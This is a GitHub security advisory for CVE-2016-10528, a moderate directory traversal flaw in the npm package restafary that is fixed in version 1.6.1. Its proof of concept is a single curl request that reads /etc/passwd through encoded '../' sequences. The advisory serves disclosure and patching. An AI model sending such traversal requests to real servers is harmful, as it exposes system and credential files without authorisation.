ADVISORIES

GitHub Advisory Database

GHSA-xg5r-8j97-2wrj

Directory Traversal in restafary

Moderate CVE-2016-10528

Details

Affected versions of restafary are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.

Proof of Concept

curl -i -s -k  -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'

Recommendation

Update to version 1.6.1 or later.

Affected packages

EcosystemPackageAffected versions
npmrestafary
All versions before 1.6.1 (fixed in 1.6.1)

References